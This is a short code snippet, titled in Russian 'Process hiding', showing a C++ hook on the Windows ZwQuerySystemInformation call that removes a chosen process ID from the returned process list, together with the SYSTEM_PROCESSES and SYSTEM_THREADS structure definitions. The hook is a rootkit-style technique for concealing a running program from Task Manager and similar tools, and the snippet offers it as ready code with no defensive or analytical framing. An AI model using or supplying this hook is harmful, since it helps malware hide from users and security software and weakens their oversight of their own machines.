Скрытие процесса

      NTSTATUS NTAPI Hook_XxQuerySystemInformation    (
                                                      IN NT::SYSTEM_INFORMATION_CLASS SystemInformationClass, // Информация о ////процессах и потоках = 5
                                                      IN OUT PVOID SystemInformation,
                                                      IN ULONG SystemInformationLength,
                                                      OUT PULONG ReturnLength OPTIONAL
                                                      )
      {
          NTSTATUS NTStatus = NULL;
          NTStatus = ((XXQUERYSYSTEMINFORMATION)(PROC) g_XxQuerySystemInformation)
              (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
          if((SystemInformationClass == NT::SystemProcessAndThreadInformation &&
              NTStatus == STATUS_SUCCESS) == FALSE) return NTStatus;
          
          bool done = false;
          NT::PSYSTEM_PROCESSES sp = NT::PSYSTEM_PROCESSES(SystemInformation);
          for(NT::PSYSTEM_PROCESSES p = sp; !done;
              p = NT::PSYSTEM_PROCESSES(PCHAR(p) + p->NextEntryDelta)){
                  done = p->NextEntryDelta == 0;
                  if(p->ProcessID == progProcessId){
                      //_DbgBrk();
                      if(done){sp->NextEntryDelta = 0; break;}
                      sp->NextEntryDelta += p->NextEntryDelta;
                  }
                  sp = p;
          }
          return NTStatus;
      }
      ///////////////////////////Class 5//////////////////////////////////////////////////////
      typedef struct _SYSTEM_THREADS{
          LARGE_INTEGER KernelTime;
          LARGE_INTEGER UserTime;
          LARGE_INTEGER CreateTime;
          ULONG WaitTime;
          ULONG StartAddress;
          CLIENT_ID ClientId;
          KPRIORITY Priority;
          KPRIORITY BasPriority;
          ULONG ContextSwitchCount;
          THREAD_STATE Thread;
          KWAIT_REASON WaitReason;
      } SYSTEM_THREADS,
      *PSYSTEM_THREADS;
      typedef struct _SYSTEM_PROCESS{        
          ULONG NextEntryDelta;
          ULONG ThreadCount;
          ULONG Reserved1[6];
          LARGE_INTEGER CreateTime;
          LARGE_INTEGER UserTime;
          LARGE_INTEGER KernelTime;
          UNICODE_STRING ProcessName;
          KPRIORITY BasePriority;
          ULONG ProcessID;
          ULONG InheritedFromProcessID;
          ULONG HandleCount;
          ULONG Reserved2[2];
          ULONG PrivatePageCount;
          VM_COUNTERS VmCounters;
          IO_COUNTERS IoCounters;
          SYSTEM_THREADS Threads[1];
      } SYSTEM_PROCESSES,
      *PSYSTEM_PROCESSES;